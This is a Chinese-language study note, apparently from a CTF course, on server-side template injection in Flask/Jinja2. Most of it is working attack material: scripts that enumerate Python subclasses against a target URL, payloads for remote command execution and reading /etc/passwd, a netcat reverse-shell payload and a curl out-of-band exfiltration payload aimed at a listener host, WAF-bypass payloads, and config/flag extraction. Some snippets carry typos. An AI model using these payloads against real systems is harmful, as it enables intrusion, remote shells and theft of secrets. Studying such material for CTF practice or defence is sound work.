(课程地址:https://www.bilibili.com/video/BV1tj411u7Bx?p=22&vd_source=9f6c2d32d65865d972cf6825021e3b6f)
(关于flask基础知识:https://blog.csdn.net/m0_73559432/article/details/130172934?spm=1001.2014.3001.5501)
flask漏洞-代码不严谨
可能造成任意文件读取和RCE远程控制控制后台系统
*渲染模板时,没有严格控制对用户的输入
*使用了危险的模板,导致用户可以和flask程序进行交互
flask是基于python开发的一种web框架,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file等等之类的函数。
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
str = request.args.get('ben')
html_str = '''
{{str}}
'''
#str是被{{}}包括起来的,会被预先渲染转义,然后才会输出,不会被渲染执行;
return render_template_string(html_str,str=str)
if __name__=='__main__':
app.debug=True
app.run('127.0.0.1'.'8888')
#{{7*7}}不会执行
from importlib.resources import contents
import time
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
str = request.args.get('ben') #{}里面可以定义任何参数
html_str = '''
{0}
'''.format(str) #str值通过format()函数填充到body中间
return render_template_string(html_str)
#return render_template_string会把{}内的字符串当成代码指令
if __name__=='__main__':
app.debug=True
app.run('127.0.0.1'.'8888')
#{{7*7}}会被当成指令执行
可以利用魔术方法去验证模板注入
127.0.0.1:8888/?a={{".__class__.__mro__}}
服务器端模板注入实际上也是一种注入漏洞。
${7*7}成功:
a{*comment*}b 输出ab -> Smarty
${"z".join("ab")} 输出azb -> Mako or ???
${7*7}失败:
{{7*7}} and {{7*'7}'} 输出49 -> Jinja2 or Twig or ???
1.文件读取
2.内建函数eval执行命令
3.os模块执行命令
4.importlib类执行命令
5.linecache函数执行命令
6.subprocess.Popen类执行命令
#查找子类 _frozen_importlib_external.FileLoader
<class '_frozen_importlib_external.FileLoader'>
#FileLoader的利用
{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passed")}}
#读取配置文件下的FLAG
{{config}}
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
~python脚本编写
(POST提交"name"的值,通过for循环查找所需字符串)
import requests
url = input('请输入URL链接')
for i in range(500)
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
#data = {"name":"{{().__class__.__mro__[1].__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
print(i)
except:
pass
内建函数:python在执行脚本时自动加载的模块
import requests
url = input('请输入URL链接')
for i in range(500):
data={"name":
"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if 'eval' in response.text:
print(i)
except:
pass
payload:
{{''.__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat ./etc/passwd").read()')}}
__builtins__提供对python的所有”内置“标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd
(system没有回显)
~~在其他函数中直接调用os模块
#通过config,调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
#通过url_for,调用os
{{url_for.__globals__.os.popen('whoami').read()}}
~~在已经加载好os模块的子类里直接调用os模块
{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
"""
''.__class__ 返回空字符串字符串类型的类,也就是 str 类。
str.__bases__[0] 返回 str 基类对象。
str.__bases__[0].__subclasses__() 将返回所有从 str 基类继承而来的子类列表。
[199] 表示选择该列表中的第 200 个子类,因为在 Python 中,许多内置或库(如 os、sys 等)都是基于类实现的,而拥有相同父类的类按照继承顺序排序在该列表中。
.__init__ 返回所选子类的初始化方法。
.__globals__['os'] 返回一个包含 os 模块的全局命名空间字典。
.popen("ls -l /opt") 在该全局命名空间中调用 popen() 方法,并执行一个列出位于 /opt 目录下的所有文件的命令。
.read() 读取命令所输出的数据并返回给模板。
"""
其他一些payload的举例
{{self.__dict__._TemplateReference__context.keys()}}
{{lipsum.__globals__.os.popen('cat /etc/passwd').read()}}
base__和__bases[ ]的区别
__base__ 属性只能获取单一的父类,而 __bases__[] 属性可以获取到所有的直接父类。
可以加载第三方库,使用load_module加载os
python脚本查找_frozen_importlib.BuiltinImporter
import requests
url = input('请输入URL链接:')
for i in range(500):
data = {"name":
"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
if '_frozen_importlib.BuiltinImporter' in response.text:
print(i)
except:
pass
payload:
{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用linecache函数如执行命令。
python脚本查找linecache
import requests
url = input('请输入URL链接:')
for i in range(500):
data = {"name":
"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
if 'linecache' in response.text:
print(i)
except:
pass
payload:
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l /").read()}}
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen("ls -l /").read()}}
从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess意在替代其他几个老的模块或者函数,比如:os.system,os.popen等函数。
python脚本查找subprocess.Popen:
import requests
url = input('请输入URL链接:')
for i in range(500):
data = {"name":
"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
if 'subprocess.Popen' in response.text:
print(i)
except:
pass
payload:
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
"""
[] 创建一个空列表。
''.__class__ 返回空字符串字符串类型的类,也就是 str 类。
str.__base__ 返回 str 基类对象。
str.__base__.__subclasses__() 将返回所有从 str 基类继承而来的子类列表。
[200] 表示选择该列表中的第 201 个子类,因为在 Python 中,许多内置或到处的库(如 os、sys 等)都是基于类实现的,并且继承关系可能会随着版本更新而变化。
调用所选类的初始化方法,并传递给它要执行的系统命令和参数。请注意,这里将参数传递给 shell=True 会让命令在 shell 环境下运行,这可以使用户更容易地传递一些组合命令。
communicate() 方法发起与执行命令的子进程的双向通信,并等待命令完成。我们调用此方法以获取命令输出和错误结果。
communicate()[0] 返回命令输出,因为在这个例子中无需关心可能存在的错误结果。
strip() 去除输出的最前面之后的空白字符。
"""
{% %}是属于flask的控制语句,且以{% end… %}结尾,可以通过在控制语句定义变量或者写循环,判断。
示例app.py:
from flask import Flask,rendre_template
app = Flask(__name__)
@app.route('/')
def show1():
girls = ['小红','小蓝','小粉','小黄','小绿']
return render_template('index.html',girls=girls)
if __name__ == '__main__':
app.run()
示例index.html:
DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Documenttitle>
<style>
.a{
color:red;
font_weight:bold;
}
style>
head>
<body>
<ul>
{% for girl in girls %}
{% if girl|length >=3 %}
<li class="a">{{girl}}li>
{% else %}
<li>{{girl}}li>
{% endif %}
{% endfor %}
ul>
{% set name='a' %}
{{name}}
body>
html>
解题思路
#判断{{}}被过滤
#尝试{% %}
{% if 2>1 %}name{% endif %}
{% if ''.__class__ %}name{% endif %}
#有回显name说明''.__class__有内容
{% if "".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}name{% endif %}
#如果有回显name则说明命令正常执行
构造脚本查询可使用“popen”的子类编号
import requests
url = input(" 请输入url链接 ")
for i in range(300):
try:
data = {"code":'{% if "".__class__.__base__.__subclasses()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}name{% endif %}'}
response = requests.post(url,data=data)
if response.status_code == 200:
if "name" in response.text:
print(i,"-->",data)
break
except:
pass
payload:
{% print("".__class__.__base__.__subclasses()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}
~ ssti盲注思路:
(1)反弹shell
通过rce反弹一个shell出来绕过
(2)带外注入
通过requestbin或dnslog的方法将信息传到外界
(3)纯盲注
反弹shell(没有回显,直接使用脚本批量执行希望执行的命令)
import requests
url = input("请输入目标URL地址")
for i in range(300):
try:
data = {"code":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("netcat 监听主机 端口 -e /bin/bash").read()}}'}
response = requests.post(url,data=data)
except:
pass
#监听主机收到反弹shell进入对方命令行界面
带外注入
此处使用wget方法来带外想要知道的内容,
也可以使用dnslog或者nc。
import requests
url = input("请输入目标URL地址")
for i in range(300):
try:
data = {"code":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://监听主机ip/`cat /etc/passwd`").read()}}'}
#反引号命令执行
response = requests.post(url,data=data)
except:
pass
#同时kali开启一个python http监听 #python3 -m http.server 80
#cat没办法换行,只能显示第一行(需要配合换行命令来显示其他内容)
纯盲注
__getitem__()
是python的一个魔术方法,
对字典使用时,传入字符串,返回字典相应键所对应的值;
对列表使用时,传入整数,返回列表对应索引的值;
class test():
def __init__(self):
self.a={
'1':'小红',
'2':'小绿',
'3':'小黄'
}
def getitem(self,key):
b = self.a[key]
return b
t = test()
print(t.getitem('2'))
class test():
def __init__(self):
self.a={
'1':'小红',
'2':'小绿',
'3':'小黄'
}
def __getitem__(self,key):
b = self.a[key]
return b
t = test()
print(t['2']) #实体对象['key'] 系统会自动调用__getitem__方法
可以用来绕过[]过滤
{{''.__ckass__.__base__.__subclasses__().__getitem__('+ str(i) +')}}
使用__getitem__()构造payload:
import requests
url = input('请输入URL链接:')
for i in range(500):
data = {"code":
'{{"".__class__.__base__.__subclasses__().__getitem__('+str(i)+')}}'}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
if '_wrap_close' in response.text:
print(i,"--->",response.text)
break
except:
pass
payload:
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passed').read()}}
request在flask中可以访问基于HTTP请求传递的所有信息
此request并非python函数,而是在flask内部的函数
request.args.key 获取get传入的key的值
request.values.x1 所有参数
request.cookies 获取cookies传入参数
request.headers 获取请求头请求参数
request.form.key 获取post传入参数
(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data 获取post传入参数(Content-Type:a/b)
request.json 获取post传入json参数(Content-Type:application/json)
app.py
from flask import Flask, render template, request
app=Flask(__name__)
@app.route('/',methods = ['POST','GET'])
def show1():
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0')
index.html
<html lang="en">
<head>
<meta charset="UTF-8">
<title>过滤器的使用title>
head>
<body>
<br>
获取get提交数据: {{request.args.k1}}
<br>
获取post提交数据:{{request.form.k2}}
<br>
获取cookie提交数据:{{request.cookies.k3}}
body>
html>
在构造payload时大多会用到单双引号,
可以通过构造带 参数的url,
配合request获取参数的内容来组成想要提交的指令,
从而绕过单双引号的使用。
#POST提交payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.k1](requests.form.k2).read()}}&k1=popen&k2=cat /etc/passwd
#cookie提交payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}
#Cookie:k1=popen;k2=cat /etc/passwd
过滤器
1.过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数。
2.可以链接到多个过滤器,一个过滤器的输出将应用与下一个过滤器。
{{()|attr('__class__')|attr('__base__')}}
#attr绕过下划线_过滤
'''
1.使用reques方法
GET请求:URL/?cla=__class__
POST提交:code={{()|attr(request.args.cla)}}
'''
#{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passed').read()}}
#例子:
#GET提交:URL/?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem__
#POST提交:{{''|attr(request.args.cla)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen')('cat /etc/passwd')|attr('read')()}}
'''
2.使用unicode编码
3.使用16位编码
4.base64编码
5.格式化字符串 %c %95即下划线
'''
过滤了"class"“arg”“from”“value”“int”"global"等关键字
以"__class__"为例
1.字符编码
2.最简单的拼接“+”:'__cl'+'ass__'
3.使用Jinjia2中的"~"进行拼接:{%set a="__cla"%}{%set b = "ss__"%}{{()[a~b]}}
4.利用过滤器(reverse反转,replace替换,join拼接等):
{%set a="__ssalc__"|reverse%}{{()[a]}}
5.利用python的char():
{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(95)%2bchr(95)]}}
#为了避免字符串被过滤/转义,基于chr()函数来生成整数编码的字符,并将其拼接成字符串。例如,在上面的代码中,chr(95)会生成一个下划线字符 "_" 的ASCII编码,chr(99)则对应着 "c" 字符,依次类推。
有些flag可能在config文件中
如果没有过滤,直接{{config}}就能打开。
//姿势集里面有相关说明
**flask内置函数**
lipsum 可加载第三方库
url_for 可返回url路径
#url_for:一个可以根据视图函数名或端点名称生成相应 URL 的函数。通过这个函数,我们可以在不硬编码URL的情况下引用不同的视图函数或端点,并构建出正确的URL路由。
get_flashed_message 可获取消息
#get_flashed_messages:一个在重定向期间获取Flash消息的函数。Flash消息通常用于在请求之间存储临时信息,比如表单提交后显示一个成功或失败的消息。
**flask内置对象**
cycler:一个轻量级的循环迭代器,可以用于生成一系列重复的值。
joiner:一个字符串连接器,可以将多个字符串连接成一个字符串。
namespace:一个命名空间对象,可以在程序中组织变量和函数,避免命名冲突。
config:一个配置管理器对象,可以读取和写入程序的配置文件参数。
request:一个用于发送 HTTP 请求的对象,通常用于从网络上获取数据。
session:一个用于存储用户会话信息的对象,通常用于在Web应用程序中跟踪用户状态。
可利用已加载内置函数或对象寻找被过滤字符串
可利用内置函数调用current_app模块进而查看配置文件
current_app
调用current_app相当于调用flask
{{url_for.__globals__['current_app'].config}}
#当在 Flask 模板中调用 {{ url_for.__globals__['current_app'].config }} 时,实际上是通过获取 url_for 对应的全局命名空间中的 current_app 对象,进而获取当前应用程序的配置信息并输出。
{{get_flashed_messages.__globals__['current_app'].config}}
dict()和join
dict(): #用来创建一个字典
join: #将一个序列中的参数值拼接成字符串
{%set a=dict(nihao=1)%}{{a}}
#创建字典a,键名nihao,键值1
{%set a=dict(__cla=1,ss__=2)|join%}{{a}}
#创建字典a,join把参数值拼接成字符串
获取符号
利用flask内置函数和对象获取符号
{% set hao = ({}|select()|string()) %}{{hao}}
{% set hao = (lipsum|string) %}{{hao}}
#获取下划线
{% set hao = (self|string()) %}{{hao}}
#获取空格
{% set hao = (self|string|urlencode) %}{{hao}}
#获取百分号
{% set hao = (app.__doc__|string) %}{{hao}}
···类似的payload有很多
在后面添加|list,然后根据返回的结果,通过hao[]去获取你需要的符号
具体可以看示例2里面的payload
示例1:WAF过滤 ',",'+','request','.','[',']'
payload原型:{{().__class__.__base__.__subclasses__()[117]}.__init__.__globals__['popen']('cat flag').read()}
payload:
{%set a=dict(__class__=1)|join%}
{%set b=dict(__base__=1)|join%}
{%set c=dict(__subclasses__=1)|join%}
{%set d=dict(__getitem__=1)|join%}
{%set e=dict(__in=1,it=2)|join%}
{%set f=dict(__glo=1,bals__=2)|join%}
{%set g=dict(popen=1)|join%}
{%set kg={}|select()|string()|attr(d)(10)%} #空格
{%set i=(dict(cat=1)|join,kg,dict(flag=2)|join)|join%}
{%set r=dict(read=1)|join%}
{{()|attr(a)|attr(b)|attr(c)|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}
示例2:WAF过滤 ',",'_','0-9','.','[',']'.'\',''
paylaod原型:{{lipsum|attr("__globals__")|attr("__item__")("os")|attr("popen")("cat flag")|attr("read")()}}
payload:
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=nine+nine%}
{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(pop)(nine)%}
#得到下划线xhx'_'和空格kg' '
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{%set os=dict(os=a)|join%}
{%set popen=dict(popen=a)|join%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join}
{%set read=dict(read=a)|join}
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}
(来源https://zhuanlan.zhihu.com/p/93746437)
app.config ['FLAG'] = os.environ.pop('FLAG')
可以直接访问 {{config[‘FLAG’]}} 或者 {{config.FLAG}} 得到 flag。
{{self.__dict__._TemplateReference__context.config}}
'''
这段代码可以用于获取当前 Flask 应用程序上下文中的配置信息。
`self` 表示模板上下文对象,`__dict__` 返回该对象储存的属性和值的字典,
`_TemplateReference__context` 是表示调用上下文槽时使用的内部插槽名称。
最终访问 `config` 属性可以得到应用程序的配置信息。
'''
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__['environ']['FLAG']}}
'''
这段代码可以用于获取 Flask 程序中环境变量 `'FLAG'` 的值。
首先创建一个空列表 `[]`,然后通过 `. __class__` 获取它的类 ``。
再通过 `.__base__` 方法获取其基础类,即 ``。
接着通过 `.__subclasses__()` 方法获取所有子类,得到一个列表。
然后查询这个列表中下标为 `68` 的子类,得到 ``。
对该子类的 `__init__` 初始化函数进行取值并访问 `__globals__['os'].__dict__['environ']['FLAG']`
就可以获取环境变量 `'FLAG'` 的值。
'''
这是 Flask 中一些常用的对象或方法:
'''
- `url_for`:生成 URL。
- `g`:应用程序上下文中存储数据的齿轮。在请求之间共享数据。
- `request`:表示客户端发出的请求。
- `namespace`:命名空间,常常用于优化 url_for。
- `lipsum`:快速生成 Lorem Ipsum 文本。
- `range`:Python 内置函数,用于生成一个固定区间内的整数序列。
- `session`:应用程序上下文中用户会话存储数据的地方。在请求之间共享数据。
- `dict`:Python 内置类型,字典类型,用于保存键-值对。
- `get_flashed_messages`:从请求中弹出闪现消息。
- `cycler`:Matplotlib 库中的循环器,用于对颜色、线条风格等元素进行迭代访问。
- `joiner`:用于拼接字符串。
- `config`:Flask 应用程序全局配置。
'''
如果上面提到的 config、self 不能使用,要获取配置信息,就必须从它的全局变量(访问配置 current_app 等)。例如:
{{url_for.__globals__['current_app'].config.FLAG}}
#url_for.__globals__['current_app'],表示获取当前应用程序实例中的全局变量;
#然后通过 config.FLAG 获取环境变量 FLAG 的值。
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
#get_flashed_messages.__globals__['current_app'],同样表示获取当前应用程序实例中的全局变量;
#然后再次通过 config.FLAG 获取环境变量 FLAG 的值。
#该函数主要用于传递闪现消息给用户,而在这里被“利用”以获取环境变量。
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#在获取到 request 对象和 current_app 对象后,使用 _get_data_for_json() 方法将请求数据编码为 json 格式,
#并使用 json 库进行编码。由于 flask 使用了自定义的 JSONEncoder 类,
#所以我们通过 json.JSONEncoder.default.__globals__['current_app'].config['FLAG'] 来访问环境变量。
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
在这里使用 pop 函数并不会真的移除,但却能返回其值,取代中括号来实现绕过。
若.也被过滤,使用原生 JinJa2 函数 |attr()
即将 request.__class__
改成 request|attr("__class__")
利用 request.args
的属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的 request.args
改为 request.values
,则利用 post 的方式进行传参。
GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__
request.args
是 flask 中的一个属性,为返回请求的参数,这里把 path 当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
base64编码绕过
用于__getattribute__
使用实例访问属性时。
例如,过滤掉 __class__
关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}